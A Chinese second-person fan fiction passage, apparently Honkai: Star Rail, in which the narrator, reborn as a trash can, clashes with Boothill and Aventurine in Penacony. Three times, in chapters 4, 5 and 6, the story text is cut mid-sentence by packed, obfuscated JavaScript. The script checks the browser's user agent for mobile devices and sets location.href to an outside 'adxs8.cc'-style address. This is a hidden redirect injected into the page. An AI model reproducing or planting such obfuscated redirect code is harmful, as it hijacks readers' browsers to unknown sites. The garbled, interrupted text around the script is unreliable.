你有些疲惫地揉了揉额头:“那个调酒的男人是谁?” “说实话,我都没想到他能在庇尔波因特。”桑博道:“这个人其实在匹诺康尼已经死了,他是虚构史学家虚构出来的,身份被识破的那一刻就注定了消亡。” 你陡然间冒出一个念头:“你说我是不是也是虚构史学家虚构出来的?” “你当然——”桑博拖长声调,故意卖了个关子,“不是。你力大无穷,还有一双透过现象看本质的眼睛。什么妖魔鬼怪,都逃不过你的法眼,又怎么会是虚构出来的。你去识破别人的伪装还差不多。” “呃……我是不是该说谢谢。” “不客气。” “但是你还没告诉我他是谁。” “他是加拉赫。”桑博道:“揭穿他身份的正是你蹲在脚边的这个人,星期日。” “真能干。”你无力地竖了下大拇指,“这么说来,无论是一楼的那个赌徒还是二楼的这个调酒师,都和这个钢琴家脱不了干系。” “是的。”桑博道:“但目前看来,砂金正在度假,星期日正在旅行。至于加拉赫,应该也只是在享受生活。他们如今的状态,都不在你的业务能力范畴内。” “那他呢?” “什……” 桑博的话还未说完,一颗子弹就擦着你的桶身飞过,精准地射进了钢琴腿里。你眼疾手快,赶在钢琴砸在你身上之前勾着旁边的柱子来了几个漂亮的旋身,然后稳稳地立在上面,观看着下面的热闹。 舞池内已经乱作一团,人们疯狂逃窜,尖叫声不绝于耳。一个劲瘦的身影灵活地穿梭在人群中,紧追着一个金色青年不放。 你猛地睁大了双眼。 那个正在被追逐的青年不是别人,正是砂金。 而在他身后的那个人,则踩着一双高跟鞋,穿着紧身的牛仔裤,戴着一顶牛仔帽,飘扬着黑白相间的发丝。手持左轮手枪,穷追不舍。 定睛再看,你看到了这人类似机器的躯体,才惊觉他原来上半身是没有穿衣服的。不仅如此,还看到了满嘴锋利的鲨鱼牙齿,甚至连子弹也居然是可以放在嘴里嚼的东西。 你倏然间感到一阵不寒而栗,这口牙齿,怕是连垃圾桶也能嚼碎吧。 就在你作壁上观之时,逃跑之余的砂金居然还有心情抬头,略带恳求,语气微扬:“朋友,帮帮我。” 4. 喵喵叫的牛仔 “朋友,帮帮我。” ? 你不确定地指了指自己。 砂金难道对你的武力有什么误解吗,你的身手是不错,但不代表能够挡住子弹和那口锋利的鲨鱼牙齿欸。 而且砂金看似是被动的那一个,但是你能看得出来。他完全有全身而退的本事,轻轻一个响指就有大把的金币掉下来阻挡子弹。况且这里的动静如何能瞒得住外面的公司员工,不消片刻,估计就会有人来解围了。 然而事情已经容不得你多加思考了,经过砂金这么一提醒,那个手持枪械的人已经注意到了你,啐了一口骂道:“宝了贝的!公司狗还有帮手!” 宝了贝的。 你有些无语地想,难怪前段时间你想骂人时会莫名其妙地冒出这句话。莫非是深受此人影响? 不等你思考明白,子弹已经上膛,对着你扫射过来。 好家伙。 你直接惊出一身冷汗,顺着柱子几个旋身滑了下来,然后抡起一张桌子朝那个人砸过去。 “悠着点儿,他叫波提欧。”桑博在你的身体内提醒道:“是个嫉恶如仇的巡海游侠。” 不早说。 你双手往桌子上一撑,如同跳山羊般接连越过几道屏障,最后直接跳到了吧台后面。然后……与星期日和加拉赫面面相觑。 这俩人是怎么凑到一起的。 然而事实证明,更为离谱的还在后面。外面子弹纷飞,弹壳掉落在地的声音不绝于耳。不消片刻,砂金也跃了进来,往你旁边蹭了蹭:“挪些位置给我,朋友。” “……” 你在心底咆哮。 鸡蛋不能全放在一个篮子里! 你几乎能够预想到吧台前面的波提欧已经如何重新将子弹上膛,然后露出一口锋利的牙齿得意地朝这边走来,将你们一网打尽。 明显砂金就是故意的。 你缩起手脚,滚出了吧台。子弹擦着你的桶身飞过,你在房间内快速滚动几圈,子弹居然没有伤到你分毫。 “宝了个贝的小可爱!” 波提欧估计是持枪很多年了,枪法也是一等一的好。这番下来浪费了不少子弹,却没有一击必中。他的心情难免有些烦躁,也不再管吧台后的砂金等人了,直接将全部的火力对准了你。 你依然飞速转着圈,不动声色地缩小旋转的半径,不引人注意地逼近波提欧。 波提欧自是跟着你也转了几圈,但是他的平衡性不如你好。你还意识清醒的时候,他已经开始头晕眼花。等到意识到你已近在迟尺的时候,你的脚已经踢飞了他的枪支。 啪—— 枪支应声而落。 波提欧估计没吃过这么大的亏,嘴里“宝贝”“呜呜伯”个不停,直接甩开大长腿就朝你踹过来。 你简单和他过了两招,然后瞅准时机将枪扔进了自己的身体内。紧接着直接撞碎旁边的窗户,从二楼一跃而下。 这点儿高度对于你来说还是可以的。 你稳稳落地,踩碎了几块玻璃。还不忘朝二楼正往下张望的波提欧勾了勾手指,挑衅意味十足。 没有哪个男人会受得了这个手势,更何况是脾气不好的波提欧。 果然。 波提欧也紧跟着跳了下来,单手撑地,缓缓抬眸,露出一双子弹瞳孔的眸子。 你神秘一笑,缩起双手双脚,往旁边的小巷子滚去。 前几年在星际间游荡,虽说没有闯出什么名堂来,但对于这副身体是应用得越发自如了。打架时武力值拉满,逃跑时也是一往无前。不得不说,做个桶也不错,起码逃跑不用腿。 你在一条小巷的尽头被波提欧追到。 他直接扯住你攀住墙头的腿,往旁边的墙壁上摔去。你在半空中及时调整平衡,蹬了一下墙壁后潇洒落地。 “你个小可爱身手还不错,可惜了。” “可惜什么?”你双手环胸:“是可惜你那把好枪吗?” “宝了贝的,把我的枪还给我。”波提欧显然已经没有耐心了。 “我若是不还,你能如何?” “去你个呜呜伯,你要是不还,我直接把你揍成废铁。” “说大话也不怕闪了舌头。”你伸出食指在空中转了转,便勾住了波提欧那把左轮手枪的扳机,又是转了一转,啧了一声:“真是把不错的手枪,可惜了。” 这下倒轮到波提欧反问了:“可惜什么?” “可惜你拿不回去了。” “你个小可爱!” “好听,再多来几声。” “去你个呜呜伯!”波提欧有些震惊:“你是不是有点儿毛病。” “大概吧。”你把手枪朝波提欧扔了回去,“我救了你,你不应该感谢我吗。” “救了我?”波提欧将枪口对准了你:“你个小可爱开什么玩笑。” “没开玩笑。如果不是我救了你,那就是你和砂金在演戏。”你意有所指地重复道,“一出好戏。” 波提欧盯着你看了半晌,将枪收了起来,终于没再说什么小可爱呜呜伯之类的了:“真是活久见呐,这年头连垃圾桶都这么聪明。” “自然是比你这个改造人聪明。” “去你个呜呜伯,老子这副身躯刀枪不入,你个小可爱懂什么。” “刀枪不入……是吗?”你从地上捡起一颗螺丝,拇指和食指捻了捻,“这又是什么?” “喵!” “……” 原谅你,没忍住笑出了声。虽然知道波提欧的联觉信标被改造过,呜呜伯、小可爱什么的你还能勉强忍住,但这声喵出来属实让桶绷不住了,接下来威胁的话也有点儿说不出口。 其实你手里的这颗螺丝是波提欧身上的。他作为改造人,和你这个垃圾桶一样刀枪不入。但他毕竟还是人,如此庞大的改造难免会有零件需要衔接啥的。 不过给波提欧改造身体的医生技术是真的不错,焊接得十分牢固。你也只是寄希望于大力出奇迹,在二楼的酒吧和波提欧过招时只对着一颗螺丝拍打。从二楼一跃而下,然后一直追到这里,这颗螺丝才终于晃晃悠悠掉了下来,实属不易。 “你应该不想拖着这副残躯赴砂金的局吧,万一他到时反水,你岂不是很危险。” “喵!你和那个公司狗不是一路的?”波提欧皱眉:“他宝贝的,我跟踪那个公司狗很久了,看见他来的时候和你在路边拉拉扯扯了那么久,还以为你们是一丘之貉。” 你敲了敲太阳穴,意思不言而喻。 脑子高低有点儿问题。 波提欧没憋住:“喵!” “哈哈哈哈哈哈哈哈哈哈哈哈。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15197754|165671||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 如果不是波提欧长得凶神恶煞的,就冲这几声,你多少得给他个小猫咪的称号。 你笑了几声后才停止,好哥们地拍了拍波提欧的肩膀:“走,看在你是巡海游侠的份儿上,也看在你和公司有着深仇大恨的份儿上,我帮你这个忙。” 波提欧大概也不会说什么感谢的话,你便直接问道:“你在这里有住的地方吗,有没有称手的工具?” “你他宝贝的要做什么?” 看样子波提欧还是很难信任你。毕竟身处庇尔波因特,公司的大本营,谨慎点儿总没有错。 你便道:“我来自一个叫垃圾星的星球,是公司用来倾倒垃圾的地方,臭气哄哄,泔水遍地。生态环境遭到了极大的破坏,我来此,也是想为垃圾星讨一个公道。” 波提欧的眼神有些茫然,很明显没理解你话的意思:“喵!我问你要去我住的地方做什么,你他宝贝的自报家门干什么。” “啊?” “啊又是他宝贝的什么意思?” “啊。”你反应了过来,解释道:“给你拧螺丝的意思。” “喵!早说不就得了。这边。” 波提欧拉低帽檐,领着你往一个方向走去。说实话,当惯了垃圾桶,你现在走路都不想走了,只想着往地上一滚完事儿。但是波提欧显然不这么想,居然还有心思地哼着歌儿。 你打破沉默:“你哼的什么歌儿?” 波提欧沉默了一瞬,继而道:“阿尔冈-阿帕歇当地的牛仔歌。” “噢。” 看出波提欧心情欠佳,你便知趣地不再询问了,而是问了点儿别的:“你会缩骨功吗?” “喵,你要做什么。” “你不觉得这样走太慢了吗。”你比划着波提欧的大小,“你要是能缩进我的桶身里,我带着你滚不是更快?” “喵,你不是能大小切换自如吗?” 你颇为震惊,波提欧这家伙怎么知道的。 “喵,你宝贝的当时缩成一小团偎在那个鸡翅膀脚下,装得还他喵的挺像,我他宝贝的差点儿没认出来。” “你这么关注我干什么。”你有些莫名其妙。 “喵。”波提欧有点儿懒得解释,但还是耐着性子说了,“你个小可爱不是在公司门口和那群狗打了一架吗。” 原来如此。 看来在公司门口打架还是有点儿好处的,自以为没人注意,其实还是有很多人看到了的。 波提欧住在一个不大不小的房子里,处在闹市区和郊区的分界处。屋内摆设简单,琳琅满目的枪支陈列在壁柜里,乱七八糟的电线和堆成小山的子弹组成一道靓丽的风景线。 波提欧翻箱倒柜地找了半天,才拿出一把扳手和一支螺丝刀扔给你,自己则乖乖地躺在了铁板床上。 屋内灯线昏暗,波提欧也没有开灯的意思。 难道是怕拧螺丝时被你看到疼痛的表情? 你便也没有多问,但是螺丝是在哪个部位掉的你实在没有印象了,说了一句“得罪了”后便上手在波提欧的上半身上摸来摸去,食指感受着哪里有什么凹陷。 没想到凹陷没摸到,气氛倒是越发诡异起来。 你:“……” 波提欧:“……” 良久,才听到波提欧骂了一句:“喵。” 5. 狡猾的小孔雀 “触及到你伤口了?”你面不改色地问道,“你这副躯体不是刀枪不入吗?” 波提欧没有说话,只催促道:“喵,你抓点紧儿。” 上下其手很久后,你终于找准了位置,将螺丝塞进去,然后迅速拧上。螺丝刀扔进工具箱发出清脆的响声,你悬着的心也终于落回桶内。 哦,差点儿忘了,你是垃圾桶,没有心。 你往后坐在一条长椅上,双手环胸,翘着二郎腿,“以前你螺丝掉了,怎么处理的。” “随便抓个人拧上。”波提欧从床上坐起来,“庇尔波因特又不全是公司狗。” “哦。”你应了一声,想了想问道:“你是现在去赴砂金的局还是休息会儿再去?” “喵,你问这么多干什么。” 也是。 才不过认识一时半会儿,他也没有什么必要告诉你。算了,比起这个张口闭口“小可爱”“呜呜伯”的人,显然那个砂金要更温柔点儿。 呃……也许吧。 你站起身来,心里莫名有些烦躁,“……你休息吧,我还有事要忙,先走了。” “喵,有什么事不能直说吗?”波提欧看上去似乎比你更烦躁,“我说不让你问那么多你就真的不问了?你要是不舒服,你就直说,找什么借口离开。” 宝了贝的! 你顿时火气也上来了:“我去找砂金,行了吧。” “你他宝贝的果然和那个公司狗一伙的。”波提欧反倒冷静了下来,掏出枪来对准你,“说,是不是那个公司狗派你来监视我的?他宝贝的,公司狗果然都不是什么好东西。” 服了。 你彻底无语了。 “改造人的脑回路都这么……”你斟酌着说辞,“清奇吗?” “宝了贝的。”波提欧骂道:“别他喵的岔开话题。” 你深深吸了一口气,直接伸手钳住波提欧的手腕,然后转了个身贴近他的胸膛,紧接着一个过肩摔将其狠狠摔在地上,顺带着缴下了他的枪。 “我喵?” 波提欧显然有些震惊,他的表情仿佛要吃人:“你他宝贝的骗我?” 你发出一声极为冷酷的哼。 摊开手掌,一颗螺丝静静躺在你的掌心内。你翻转手掌,那颗螺丝掉在波提欧的躯体上,准确无误地落在仅有的一个凹陷处。 “你自己拧紧吧,我不奉陪了。” 你扬长而去。 外面的天色已经蒙蒙亮,浅薄的雾气笼罩在尚未清醒的高楼上,霓虹灯散发着微弱的光芒。这个点儿,夜猫子都已经睡觉去了,要上班的人也才刚清醒。街道上零零散散有些人,无不步履匆匆。 你裹挟着雾气在街道上走着,心底有些乱糟糟的。 “桑博,你在吗?” 桑博懒懒地打了个哈欠,声音有些倦意:“你要死了?喊我出来给你收尸。” “巡海游侠都这么疑神疑鬼的吗。” “这里可是公司的地盘,他一个通缉犯不小心谨慎点儿早被抓住了。” “你说我会不会上公司的通缉名单。” “你还不够格。”桑博无情地揭穿了你。 “要怎么才够格?” “你今晚准备炸弹,把公司炸了。” “又是炸弹。”你无奈道:“你对炸弹有什么情有独钟的癖好吗。” “省事儿。”桑博显然还没睡醒,连连打哈欠:“伙计,我可不像你,铁打的身板。我年纪大了,经不起这么折腾了,行行好,让我再睡会儿。” 就知道睡。 你愤愤地想。 一个晚上什么收获都没有,好不容易认识个巡海游侠,还老是被怀疑。想起这些,你就一阵火大,忍不住狠狠地捶了一下旁边的路灯。 路灯哪里经得起你一拳,直接从中间拦腰折断,不偏不倚正巧砸在了一辆经过此处的跑车上。 你的火气瞬间消了大半,有些后悔又没控制住脾气。急忙去查看那辆车的情况,希望没有造成人员伤亡。 然而,当看到车上走下来的人时,你却有些傻眼了。 白色的礼帽压住金色的发丝,只在额前稍微露出几缕。一副粉红色的墨镜架在笔挺的鼻梁上,白色整洁的西装裹住劲瘦的腰身和一双修长笔直的腿。无论何时何地,每次这人出现,都是让桶无法忽视的一道风景。 “朋友,我们又见面了。” 砂金将眼镜摘了下来,别在西装口袋上。唇角略微勾起,露出一副势在必得的模样。侵略性拉满,但却不失轻佻逗弄。 “昨晚的事情谢谢你了,否则我性命不保。”许是注意到你的目光落在那辆被砸坏的跑车上,唇角上扬得更为肆意:“哈哈,朋友,不如我们来打一个赌。若是你赌赢了,这辆车不仅不需要你赔,我还可以答应你一个要求。但如果是我赢了,你就答应我一个要求,如何?” 他的声音极富磁性与感性,如和煦的春风吹过原野般,轻易间便能抚慰你的心情。 这人上辈子怕不是个魅魔。 “不开口的话,我便当你默认了。”砂金手指灵活地玩弄着一枚金币,指间出指间进,看得你眼花缭乱。 “险些忘记了,你要检查一下吗。” 这次砂金没有再自顾自说下去,而是静静等待着你的反应。你终于回神,摇了摇头。想到自己如今是个垃圾桶,便摆了摆手。 砂金笑了一声,再次玩起金币来。拇指将金币弹起,金币在空中转了几转,重新回到他的手中握紧,紧接着手背翻转朝上,“朋友,猜一猜是正还是反。” 这怎么猜。 “我要揭晓谜底了。” 欸——你还没说答案呢。 像是已经看出你的心思,砂金笑着道:“答案如何并不重要,重要的是——朋友,你没有选择的余地。” “何以见得?” 你蹲下身子,从地上夹起一枚一模一样的金币,轻轻放在砂金的手背上,“砂金总监,你的底气是这个吗?” 砂金看了你一会儿,倏然间放声大笑。他摊开手掌,掌心内果然什么都没有——无论选正还是选反,都是不对的。 “那我这是赌对了还是赌错了呢?”你挑衅地看着砂金,反客为主:“我想在我们打赌的时候,与此同时,砂金总监自己也跟自己打了个赌。如何,我是让你赌对了还是赌错了?” “结果如何对你而言,很重要吗?”砂金并未顺着你的话说,反倒问起你来。 当然很重要。 你可没有钱赔车。 但这话说出口有点儿示弱的意味,你反复斟酌着说辞,最终憋出来一句:“最近囊中羞涩。” “囊中羞涩?”砂金喃喃地重复了下这四个字,歉意地笑了笑:“抱歉,我读书不多,这句话什么意思,还请赐教。” 读书不多? 你才不信他的鬼话。 看来这辆车是非赔不可了。 你在心底叹了口气。 这都什么事情啊,来这里一两天了,什么事情都没干好,还背了一车债。看这辆车的设计,估计价格不低,打一辈子工都不够还的。 要命。 但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15197755|165671||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这番抱怨的话也就只在心里徘徊了一下,事情还是要解决的。不管是从前还是现在,你已经适应了在事情发生之后快速冷静下来处理。 “要赔多少?” “什么?” 装什么糊涂。 见砂金有些没明白你的意思,你再次道:“这辆车多少信用点,我赔给你。或者你直接给我介绍个工作,我给你免费打工多少年。” “原来如此。”砂金点点头。 看这副神情不似作假,你不禁有些怀疑,难道这家伙刚才没想着让你赔来的? 不会吧,不会吧,你岂不是亏得很。 你欲哭无泪,话已经说出口,覆水难收。 砂金伸出三根手指。 “三天?” 你惊喜过望,声音不由得带了些许激动。 砂金摇了摇头。 “三个月?” 虽然不如第一次惊喜,但还在可接受的范围内。 “三年?” 声音有些平淡,但依旧还可以接受。 砂金再次摇了摇头。 “不会是三十年吧。” 你垂头丧气,心如死灰。 砂金再三摇了摇头。 “三……三百年?!” 太过震惊,以至于都有些结巴。 三百年太过漫长,垃圾桶的寿命能有多少你也不知道。这个世道不会打架真的不行,自从离开垃圾星,你每天不是在打架就是在打架的路上。而且只要能滚,你就绝对不会用脚跑。经年累月,桶身难免不被磨损。你又不注重保养,能活三十年你就谢天谢地了。还有就是,你实在无法接受自己器官衰竭只能靠着家人的怜悯活着。如果真到了那一天,你宁愿自己选择结束。 然而事实证明,还是你想多了。 砂金居然又是摇了摇头! 这个可恶的资本家! 再不知足,你就让他尝尝拳头的滋味,即便打花那张漂亮的小白脸也在所不惜! “三个信用点。” ??? !!! 宛若一盆冷水兜头浇下,瞬间熄灭了你所有的火焰,你下意识出声:“啊?” 砂金勾了勾唇角:“朋友,我知道你要强。不赔的话你心里肯定过意不去,但要赔的话我心里也过意不去,更何况你昨晚还救了我一命。思来想去,也就只有这个法子了。” “啊?” “对了,提醒你一句。不要随便将自己卖出去,再想赎回来可就难了。这个世道,有时候人和奴隶没什么区别。你以为自己签的是劳动合同,他们偏要以为你签的是卖身契。”仿佛怕你不信,他还补了一句:“亲身经历。” “你……被卖过?” 你上上下下打量了砂金一番,有些不敢置信穿得如此体面的他也曾有过更为不堪的一面。想起刚才他说的那句“读书不多”,你起初还有些不敢置信,如今倒是信了几分。 砂金垂下眸子,眼神有些受伤,语气极为可怜:“如果我说是,你会不会答应我一个要求?” “不”字噎在嘴边。 “不至于这么讨厌我吧。”砂金已经看出你的欲言又止,语气更显可怜。 “先说什么要求。”你有些头疼,“我再决定要不要答应。” “三天后,公司有个酒会,到时所有主管都会到场,包括市场开拓部。”砂金往前走了一步,凑近你,轻声道:“市场开拓部和战略投资部历来是死对头,我手无缚鸡之力,无力自保之时,你可以……”他稍稍停顿了一下,语气缱倦:“保护我吗?” 6. 可怜的小孔雀 色字头上一把刀。这话诚然不假,好在你刀枪不入。多与砂金接触下,应该也没什么问题吧。再说这辆跑车真的价格不菲,砂金这么说已经很大方了。虽然可能对于他来说,仅仅只是点儿小钱。还有就是昨晚其实你不出手,砂金也不会有性命之忧的。反倒是波提欧,拖得越久那群公司员工就越有时间在赌场外形成包围之势。 你向砂金要了准确的时间,然后承诺一定会去赴约的。然而说完后,砂金居然没有要走的意思,反倒是站在原地依旧勾唇看着你。 “呃……砂金总监不需要上班吗?” “我正在休假中。”砂金答得理所当然,“朋友你要是不介意的话,这三天可以陪陪我吗?” “……” 砂金的理由很是充分:“坏人不会只在那一天动手的。我前几天给公司完成了一个大项目,现在市场开拓部人人看我都想吃了我。没有人保护,我真的会有性命之忧的。” “……”你没忍住问出口:“你和别人谈生意时也是这么装可怜卖惨吗?” 砂金丝毫不慌:“自然是看人而定。” “我不是人。” “看桶而定。” 这人做惯了这副模样。一想到他如今这副可怜巴巴的模样也是对无数人都做过的,你就有些生气,再次重复道:“我不是人,别把你用来对付别人的那一套用在我身上。” “生气了?”砂金完全没有收敛的意思,哈哈笑了两声:“很遗憾,我确实没有和垃圾桶相处过。如果有的话,今天我们的谈话会愉快很多。” “你担心你这副行头会弄脏吗?” 你突然问了一句,砂金显然没反应过来,问道:“什么意思?” 你掀开了自己的桶盖,深吸一口气,微微伏低身子,向前冲刺。砂金尚且还处在震惊中,没料到你会有这番操作。直接头朝下被你装进了桶身里,然后被驮着一路向前奔跑。 你的桶身从来没装过垃圾,算不上脏。但对于砂金来说,自然也算不上干净。不知为何,你每每看到他这副轻佻勾人的模样,就想狠狠欺负回去——将他这副干净华丽的行头弄脏,看他狼狈的时候还会不会口无遮拦。 你扣上桶盖。 也顾不得会不会加剧桶身的磨损了,双手双脚一缩,就肆无忌惮地在大街上滚了起来。路上行人连连尖叫,但每每就在撞上之际,你总能扭转身体,从他们的身旁擦过,留下一场虚惊。更有甚者,你高高跃起,从他们的头顶跨过。 渐渐地,众人从惧怕改为了欢呼。虽然同样也是尖叫,但明显与刚才不一样了。你越来越得意,花样也玩得越来越多。最后一次你高高跃起时,不知是不是桶内砂金在捣乱,一个没控制好角度和力度,你直接飞了出去,在空中划出一道优美的弧线,然后狠狠插在了旁边大楼的中间。 “……” 玩大了。 好死不死,还是头插了进去。 真是头铁啊。 你伸出四肢,却只能在空中乱扑腾。张牙舞爪了半天,才终于摸到了墙面,努力想把头拔出来。与此同时,你也感觉到里面的砂金也在助力,忙出声制止:“别动!” 他这样助力,虽然也能起一点点作用,但是你的桶盖会深深嵌在里面的。 经你这么一呵斥,砂金果然不动了。 在你的努力下,你终于得偿所愿地从高处掉了下来。好巧不巧地掉入广场那巨大的喷泉中,溅出大片水花,洋洋洒洒地在阳光中落下,折射出七彩的光彩。 好不容易从水中爬出来,还被闻讯而来的公司员工团团围住。非说你意图挟持砂金总监,是重度危险分子,要将你收监。 在广场炫技了这么久,你早就累了。收监就收监吧,你也不在乎了。现在只想找个地方缩着睡一觉,天大的事情也明天再说。 你迷迷糊糊地闭上眼睛,束手就擒。然而如何捆你却成了个难题,以前都是双手往背后一绑了事。现在面对个垃圾桶,他们却束手无策了。思来想去,居然只是用绳子将你横着缠了一圈儿又一圈,然后又竖着缠了一圈儿又一圈儿才了事。 真是服了。 你迷迷糊糊地想。才刚要陷入沉睡,桑博便在身体内狂轰乱炸起来:“什么情况,伙计,我才睡个觉的功夫,你就被抓起来了。” 还真被老桑博预料到了,喊他出来给你收尸呢。 你陷入沉睡。 本以为再次醒来时面对的是阴暗潮湿的监狱,抬头见老鼠,低头见蟑螂。也没什么大不了的,反正你没有手指甲和脚趾甲。然而你对这个世界还了解太少,迎面而来的居然是白得透光的天花板和一盏璀璨的水晶灯。 身下还有些柔软,身上还盖着棉被。你坐起身来,发现自己居然在一个极其漂亮精致的房间里,躺在一张极其舒服柔软的床上。 公司的监狱这么豪华吗。早知如此,你来庇尔波因特的第一天就住进来了。 你掀开被子,从床上跳下来,不想却踩到了一个柔软的东西,直接摔了个狗吃屎。 OYG。 才爬起来,却看到一个和你一样差不多身躯的玩意儿,但却比你小得多。人家还有双大大的眼睛,还有手和尾巴。看起来软软糯糯的,呼吸时身躯还有些微微的起伏,叫声有些像咪咪。再定睛一看,才发现这小家伙像是被塞到一个壳子里一样。 你碰了碰这小家伙,身躯果然像果冻一般Q.Q弹弹的。忍不住心生怜爱,将它抱了起来。像是触发了什么机关一样,又有几个这样的小家伙从床底下爬了出来,水汪汪的大眼睛一瞬不瞬地看着你。 这些小家伙也是被抓到这里来的吗。它们能有什么攻击力,公司也太可恶了。把这些人畜无害的小东西也当成危险恐怖分子抓起来,无非就是想吸引更多的人寻求公司的庇护。 你越想越气,将这些小家伙装进你的桶身里后,就开始寻找出去的办法。你自然没寄希望于正门,也没把目光放在窗户上。而是贴着墙壁,细细敲着,一边听一边摸着墙走。心静下来后,所有细微的声响都在耳边放大,你察觉到旁边有水声。 你面露惊喜。 有水声就有出口。 你蹑手蹑脚地往声源慢慢移动。 猝不及防间,透过模糊不清的水雾,你看到一个身形清癯的青年。金色的发丝已经被水打湿,顺着水流的方向贴在白皙的下颌线上,一行清晰的商品编码若隐若现。 ! 你赶忙闭上眼睛。 非礼勿视,非礼勿视。 罪过罪过。 虽说你现在是个垃圾桶,但直视别人身体也不太好。虽然别人可能不会顾忌什么,比这更为羞耻的画面都在你面前上演过,但你无法做到什么都不知道。 你摸着墙壁慢慢往回走,心底有个声音在捶胸顿足,朝天呐喊。 不是要收监吗? 难道不是监狱的监,是总监的监? 这是什么魔幻羞耻玛丽苏剧情! 难道你走的不是沙雕升级路线,而是左拥右抱路线? 救命啊啊啊啊啊啊。 当个人时无人垂青,当个桶倒是桃花朵朵开,但这跟看得到却吃不到有什么区别! 老天不公! 痛定思痛,你还是决定走正门。好歹不会看到什么不该看的东西。果不其然,门打开的瞬间一群公司员工围了上来,纷纷亮出了又尖又长的兵器。 你关上了门。 路过镜子时,你下意识停住了脚步。 诶诶诶。 什么时候你的桶身外层刷上了一层淡淡的银色。既没有和先前的颜色有过太大差别,还显得更为醒目吸人注意。 用脚趾头想,也是砂金的杰作。 这个人,倒是越发让桶捉摸不透了。 他是不是有什么特殊的xp。 就跟你当人时一样,有时候看条狗都眉清目秀。 你把桶身里的小家伙放出来,继续倒回床上,终于忍不住再次问了桑博一句。 “我以后会有人形吗?” 桑博硬邦邦道:“不知道!” 你陡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15197756|165671||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然间想到另外一件事:“我看到什么你也能看到什么吗?” 桑博还是硬邦邦道:“不是!”他没好气地解释道:“被关小黑屋了。” 你听出桑博语气的不对劲儿,疑惑道:“不是,你个老桑博生什么气啊。” “伙计,我叫了你一路,你睡得跟头猪似的。”桑博声音听上去颇为无奈:“这会儿倒是清醒了,色令智昏都比不上你。” “现在什么时间了。” “伙计,你睡了一天欸。” 听到桑博终于恢复了以前的语气,你叹道:“不容易啊。” 桑博没有再说话。 因为砂金擦着头发从里面出来了。 估计老桑博又被关小黑屋了。 难道在他上面还有个更为强大的叫什么系统的东西? 阿哈? 这个阿哈整天在搞什么。 你愤愤地捶了下床。 床轰然倒塌。 ! 不是吧。 你坐在一地狼籍中小心地看向砂金。 他擦头发的动作微微一怔,一身黑棕色丝绸睡衣的边边角角都修饰着闪闪的金色,险些亮瞎了你的钛合金狗眼。神情显然也较为震惊,不过唇角的弧度却是越放越大。 “对不起!” 你急忙出声道歉,认命道:“多少钱,你说个价,我赔……我赔。” 天知道,你那个赔字说得有多么勉强! 为什么你现在不是个通缉犯。 这样就能光明正大地逃跑了,而且还没有任何心理负担。 通缉犯当然不用负责,也不用赔偿任何损失。 “没关系,朋友。”砂金唇角微勾,继续擦头发,坐在旁边的沙发上,拿起桌子上的手机:“我打电话让他们再送个新床来。不过,从此后,我的名声就被你破坏了哦。” ? 砂金笑了一声:“公司员工内部压力很大的,为了缓解这些沉重的压力,他们个个都八卦得很。等级越是P45往上,身份地位越是不同寻常,八卦传播的速度就越快。你想象一下,守在外面的员工会没有察觉到任何异常吗。” 一个总监和一个垃圾桶也能传? 这内容也太过猎奇了吧。 “公司的员工……” 面前坐着公司的总监,你还是没有将“神经病”三个字说出来,还是换了种说法,“口味都这么重吗。” 你不由得看向旁边的窗户。 砂金察觉出了你的想法,“哈哈,朋友,劝你想清楚一点。如果你从窗户一跃而下,八卦会如何升级。” 他擦干了头发,开始玩弄起桌子上的金色天平,精致的筹码一枚枚摞上去,底盘起起伏伏,“他们会说,你因为承受不住我特殊的关心,精神失常,从此化作自由的飞鸟,飞向天际。” 你险些一口老血喷出来。 “我倒是无所谓。”砂金自顾自解释道:“对于我们这种人来说,这些所谓的黑料不过是生活的调味剂,只要生意能成,你不怯场,这些流言蜚语就伤不到你。他们也就逞些口舌之快了。” 你意识到一丝不对劲儿,砂金似乎话里有话。 “你……经常遭遇到这些,并且习以为常吗?” “朋友,看来你是真的对我一无所知。”砂金推翻了天平的两端,重新添加筹码,“如果你对我足够了解,就会拿我的出身当作攻击我的武器。我并非来自上流社会,最初的开始,我连自己都没有。被人踩在脚下,连狗都不如。我来自黄沙,被人当作奴隶贩卖。他们想将我掩埋,我却并非白骨的姿态重现世间。他们将我带上镣铐,我却并非以奴隶的身份重新站在他们的面前。我的出身和我的容貌成了他们攻击我的武器,我的业绩和我的成就成了他们攻击我的理由……” 你越听心越沉,一巴掌拍在砂金的肩膀上:“以后,谁再唧唧歪歪,我保证打得他爹娘都认不出来!” 这一巴掌力道有些重,砂金轻咳两声,唇角渗出血迹,竖了竖大拇指:“谢谢你,朋友。” 7. 内耗的小小鸟 